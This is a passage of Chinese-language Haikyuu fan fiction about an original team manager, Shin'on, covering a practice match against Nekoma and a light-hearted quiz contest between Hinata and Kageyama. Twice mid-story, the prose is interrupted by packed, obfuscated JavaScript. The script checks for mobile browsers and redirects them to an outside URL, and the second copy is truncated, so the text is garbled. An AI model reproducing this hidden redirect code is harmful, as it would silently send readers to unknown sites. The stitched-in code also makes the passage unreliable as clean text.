——年纪大了。 他在心里感叹着，所以眼光也不大准。 或许是因为自己并没有跟上现在的年轻人的思维。 讨厌运动的人居然会当运动社团的经理吗，猫又教练翻找着自己记忆里的经验。 这种事件发生的概率确实极低。 日向确实像研磨设想的一样捉襟见肘，七号逐渐能够跟上他的步伐，也因此化解了他的攻势。 音驹也得以获得喘息的机会，他们抓住这道缝隙，凭借稳固的接球和团队合作稳稳地拿下第一局。 而与研磨设想的有所偏差的是，日向非但没有为“自己的攻击被拦下”这种事困扰，他的眼中满是斗志——那是对更进一步的渴望。 虽然早有预料，但是在现场注视着那样的眼神，还是会被震撼。 心音的声音悠悠地传到猫又教练的耳边。 “教练——感觉怎么样。” “如果这样成长下去的话，乌野会是很厉害的对手。” 心音心满意足地继续观察着战局。 她知道，让猫又教练这样肯定的并非只是日向一人。 乌野的每一个人，都在以自己的方法寻觅着进步的路径。 在这过程中，“好的对手”不可多得。 心音明白“好的对手”对于进步的重要性。 即使长居年级大榜的首位，但她从不会小觑自己身后的对手。 她的“第一”并非凭借优越的天分远远地将他人抛在身后，而是由微小的一分堆砌而成的。 在与第二名较量的过程中，她体验到了旗鼓相当的快感。那是自己用尽全力奔跑的一次，也是她的成绩有着肉眼可见提升的一次。 不过第二名在转投竞赛后，由于精力分配的有限，他的全科成绩有所下降。 她失去了一个好对手。 最锋利的矛与最牢固的盾相撞，会导致什么样的结果？ 不是矛刺破了盾，亦或是盾折断了矛。 在排球的赛场上，有这样一种可能。 ——矛变得更加锋利，并且吸收了盾的稳固； 盾被磨炼得掀起斗志，变成崭新的摸样。 “再来一球。” 训练赛的胜负早已分明，“贪婪”的小乌鸦眼睛闪闪发亮地说着。 猫又教练欣然接受了这样的邀请。 心音又一次刷新了对热爱排球之人的认知。 ...... 不管是看起来眯眯眼的教练爷爷，还是赛场下沉着冷静的人，对排球的热爱，使他们在原有的性格特质上，悄悄地藏着“疯狂”的因子。 “一局”不过是他们口中的虚词，一局所代表的含义是一局又一局。 心音已经把日向的【再来一球】与【再来一局】载入虚词的分类里。 排球馆木质的地板上摊着一个又一个力竭“大字型”的排球运动员。 日向活力满满的“再来一球”这次总算被拦截，他大声地表示着意犹未尽。 与之相对的是瘫成猫饼的研磨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176542|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到清水学姐已经带来了满箱的水，心音轻快地奔向那个方向，打算助学姐一臂之力。 坏水——黑尾学长笑眯眯地拦住了她。 他摊开手：“这次我们的经理没来，大家实在没力气了。” “拜托心音给我们社团的大家带点水吧。” 虽然潜意识觉得黑尾学长在酝酿着坏招，但作为东道主的心音还是点点头，她捧着一瓶瓶水，率先发给瘫在地上的音驹成员们。 “谢谢。”研磨接过水的手微微一顿，他朝乌野的方向看去。 果然，小黑已经偷偷潜入乌野的队伍里，他一边敲了敲东张西望着的影山的肩膀，一边冲这里的研磨眨了眨眼。 小黑又开始了。 研磨望着已经转身勤劳地给音驹其他人送水的心音。 ...... 完全没有提醒的机会啊。 另一侧，被黑尾学长幽幽几句话洗脑的乌野四人组——田中、西谷、日向、影山，他们的一边喝着水，一边沉默地凝视着心音忙上忙下的背影。 月岛看着莫名过来说了些话，然后自来熟地凑在他身边的黑尾学长。 那些人不会真的信了吧。 “心音不会抛下我们跳槽去音驹的。” 很好，没想到是影山飞雄率先冷静地分析着。 “那她怎么一直在音驹那里忙上忙下。”日向露出蛋花眼。 冷静的影山飞雄沉默。 良久，他在三人的注视下得出结论：“心音，是被音驹的教练绑架了。” ...... 这种假设怎么可能成立。 月岛看向其他三人，他们用死寂的沉默表示着自己的难以置信。 “难道...是猫妖吗”田中前辈的声音发颤。 ...他们居然真的在设想这种事情的合理性。 月岛捂住头。 “你真的不打算阻止他们吗。” 西谷和日向已经到储物间拿扫把了。 黑尾饶有兴致地摸摸自己的下巴，他撺掇着月岛：“我们跟上去看看吧。” “不了，抱歉。”月岛推了推自己的眼镜，冷酷地拒绝着。 送完最后一瓶水，心音一转身，【高低低高】站着的四人一下撞入她的眼帘。 “我们会保护你的！”日向挥了挥手中的扫把。 “我们没什么好害怕的！”西谷挥动的频率与日向保持一致。 影山一边用刁钻的角度避开日向即将戳到自己脸上的扫把，一边开口：“没错。” 迷茫的心音透过自己面前【高低低高】的四人，看到了黑尾学长笑着的面庞。 她的心里已经有了初步的答案。 黑尾慢悠悠地走来：“诶，是不是应该问问心音本人的意思。” 问我的话，黑尾学长的游戏不就提前结束了。 心音狐疑地想着。 “那么心音想来音驹吗。” “我当然是最爱乌野了。”心音毫不犹疑地回答道。 余光中的几位，除了影山，都变成了蛋花眼。 然后黑尾学长还有什么后招呢。 出乎意料的，黑尾学长无奈地摆了摆手：“既然如此，那真的太可惜了。” 研磨拽了拽黑尾的包：“新干线，要来不及了。” 心音与黑尾满是遗憾的眼睛对视了，原来是因为时间不够所以不能继续， “好耶！”日向抛开自己手中的扫帚，“保卫经理大胜利！” 最帅气的西谷前辈叉着腰发表着获胜总结：“心音、仁花、以及洁子学姐，是我们乌野独一无二的最棒的经理，绝不会让给别人！” 仁花刚刚与清水学姐来到聚集着的众人身边，就被西谷这样的话攻击。 她的脸唰一下变红了。 “虽然大家有时候笨笨的，但是既暖心又可爱对吧。” 清水学姐听起来还是和往常一样成熟又靠谱，她揉了揉心音和仁花的脑袋。 力度也与过去一样温柔。 不过，心音还是敏锐地发现了清水学姐耳廓的红晕。 ——清水学姐也害羞了。 发现这个秘密的心音捂着脸偷偷地笑着。 28.chapter 28 “诶，心音。”日向抱着排球坐在心音身边，“你怎么换本子了。” 心音翻到本子的封面，仔细对比着。她眯起眼睛。 自己的[记录笔记]封面是一只白兔露出牙齿啃着小草，而至于现在手上这一本，是一只白兔啃着小花。 她的视线里出现了一道影子，根据影子的身形和发型判断，应该是属于影山的影子。 “这个本子有什么不一样的吗。” 说实话，如果不是日向询问她，她自己也不会发现啃小草和啃小花的区别。 “哼，影山。你根本就不够关注我们心音经理哦。” 说罢，他朝着影山做了个鬼脸。 “哈！boke日向，你要不要跟我比一比。” 心音露出豆豆眼，看着莫名开始奇怪比拼的两人。 ——这种奇怪主题的比赛有什么一较高下的必要吗。 总之，在影山的提议下，[谁更懂心音]的比赛就这样召开了。 裁判则有心音本人担任。 围观群众有：月岛萤、仁花、清水学姐 月岛举起手做出澄清：“我完全不是为了凑热闹，只是今天的训练量达标了，在这个地方休息一下。” 心音对此抱有质疑。 [Round 1] 热心观众仁花出题：“请问心音最喜欢吃的食物是什么。” 影山选手抢答：“叉烧拉面！！” 裁判心音举起[回答正确]的板板。 日向愤愤地看向得意的影山，他表示抗议：“我又没有和心音一起吃过饭。” 影山咧起嘴，M型的头发中最中间的那根都翘了起来。 [Round 2] 第二个负责出题的清水学姐思索一番：“心音最喜欢喝的东西是什么。” 影山选手有些犹豫，不过他还是率先答道：“纯牛奶？” 听到这个回答的心音视线到处徘徊，唯独不与做出回答的影山选手对视。 “酸奶！”日向笃定地回答。 仁花也有些困惑：“话说，心音在排球部的时候就会喝牛奶，但是如果在班上，只喝过酸奶。” ...... 明明是日向和影山的比赛，为什么会给自己一种被当众处刑的感觉。 心音在心里叹了口气。 “是酸奶。” “耶！”胜利者日向得意地看着灰白的影山，“心音在我面前，就是经常喝酸奶的。” 心音垂着脑袋看着自己的鞋尖，她的声音越来越微弱。 “每次在排球部看到大家都长得那么高，就想多喝牛奶长高点。” “...没有长高压力的时候就会凭自己的喜好多喝点酸奶。” 胜利者日向的眼睛变成了灰白款蛋花眼。 他有一种赢了却更加难过的感觉。 [Round 3] 目前的局面是一比一平，决胜局的题由裁判员心音自己出题。 秉着合家欢的原则，心音私心里希望这局比赛是以平局结束的，因此，她打算出一个两人都答不上来的题。 “嗯...请问我前三天用的发圈分别是什么颜色的。” 这是一道没有答案的题，因为出题者心音都记不住自己每天使用的是什么颜色的发圈。 她一般是用抽盲盒的形式随机抽选一个发圈。 像是知道了她的意思，月岛颇感无趣地别过头。 ...... “绿色、蓝色、绿色。” “影山都开始乱猜了吗。”日向也跃跃欲试地加入竞猜游戏，“我猜是橘色、橘色和橘色。” “哈？！我不是猜的。” 心音裁判完全没有想到两人真的可以给出各自的答案，她抱歉地摸摸头，“那个，我也不知道这一题的答案。” “那我们是平手。”日向宣布到。 影山闷闷不乐地说着：“但是我的答案真的是对的。” “那个”清水学姐晃了晃手机，“或许我知道答案。” 清水学姐点开名为[排球部]的相册，里面分门别类着每个人的照片。 “本来打算作为给大家的惊喜的，先不要告诉别人哦。” 清水学姐打开心音的专栏，根据日期的索引滑动着界面。 第一张照片里，心音正拿签子戳着烫呼呼冒着热气的章鱼小丸子。 第二张照片里，她披着部门的外套，垂落的手里还拿着笔，怀里护着的大概是本子，单是坐着就可以睡着。 第三张照片里，她把手围成喇叭的形状，为在进行队内3V3的大家加油。 日向念念有词地盘点着：“绿色、蓝色、绿色。” 他双手捂脸，旁边是叉着腰哈哈大笑的影山。 “我输了......” ...... 没有人觉得能够成功回答这种问题的人，才是最不对劲的吗。 月岛抽了抽嘴角。 清水学姐收起手机：“影山是为什么记得心音发圈的颜色呢。” 仁花也点点头：“我也稍微有点在意。” “对啊——好厉害啊影山。”月岛的声音幽幽传来。 “因为心音有时候会站在我前面，所以就记住了。” 影山回答的语气过于平淡和理所当然，以至于在场的人听了这样的回答后，心中都恍惚地浮现了“原来如此”的想法。 ——但是完全不对劲吧。 仁花摇摇自己被影山思维入侵的脑袋。 重点不是——从什么角度可以看见。 而是——为什么会把这么微小的事情记在心上。 尤其是影山这种，自己都没有意识到的情况下，就已经把这种细枝末节的事情记在心上了。 仁花心里痒痒的，她很想抓着影山的肩膀大声地告诉他。 “你不对劲。” 另一只单细胞全然get到了影山的思维。 “原来是这样！”日向又看向心音，“对了心音，所以那本新的笔记本是用来干嘛的啊。” “哦，这个...” 几天前，心音抱着自己的笔记本来到小武老师的办公室。 少见的，小武老师没有低着头框框地拨打着电话。他悄悄地打开保温杯，嗅了一口，露出了享受的表情。 “小武老师是在喝茶吗。” 小武老师险些把保温杯打翻，他迅速盖住了杯盖，清了清嗓子，“怎么了心音。” “因为我最近有点不知道怎么把人物的性格和事件串起来，所以小武老师就建议我每周固定一个主题写日记，这周的主题很简单，小武老师说就叫我的日常。” 心音揉了揉脑袋：“但是就是这种宽泛的主题最难写。” 影山和日向歪着脑袋，呆呆的眼睛里写着大大的两个字——不懂。 “虽然不是很懂。”日向兴致勃勃，“但是写日记好像很有意思的样子！！” “决定了！我要和心音一起写日记！” 如果是日向的日记，心音试着想了想，大概会写成[排球训练成果手册]吧。 乌养教练的刺猬头从日向和影山中间冒了出来：“没想到你们居然会在放松的时候聊天，而不是斯巴达地一直锻炼。” 乌养教练夸张地说着：“真是罕见。” “所以你们在说些什么呢。” 在听到他们讲述的[日记]后，乌养教练的眼睛冒着金光，是那种被启发到的可怕的神情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而现在，她的目光和自己看向排球的眼神重合。 很晃眼。 影山的心脏坠坠的，他笨拙地别过脑袋，与心音的目光错开。 心音的声音轻飘飘的，就像在说悄悄话：“小武老师在乱说一通哦，我会拿第一名的。” “嗯。” “影山也是我的对手哦，我不会输给你。”心音挑衅般向影山下着战书。 影山大概会说“我也不会输”，心音已经能在心里用影山的语气循环播放这句话了。 “嗯。” 诶？ 心音狐疑地审视着[嗯嗯]机版影山。 ——他绝对完全没有听我在说什么吧。 “影山，你是不是没有听我说话。” 影山复读机：“嗯嗯。” “嗯？”回过神的影山匆忙地摆摆手。 然而他已经被心音拉入黑名单。 “不听人说话的影山，差评。” “第一句，听到了。” “会拿第一名的。” 咧着嘴笑的影山，藏在围巾里笑的影山，崩坏颜艺叉着腰笑着的影山，心音通通都见识过了。 但这只影山笑得很“正常” 甚至有几分温柔。 “怎么好像我说的是你会拿第一一样。”她小声嘟囔着。 “...那当然。” 她匆忙转过脑袋，抬起头好像专心致志地听着小武老师的发言。 影山的视线落回心音的发圈。 是深蓝色的。 29.chapter 29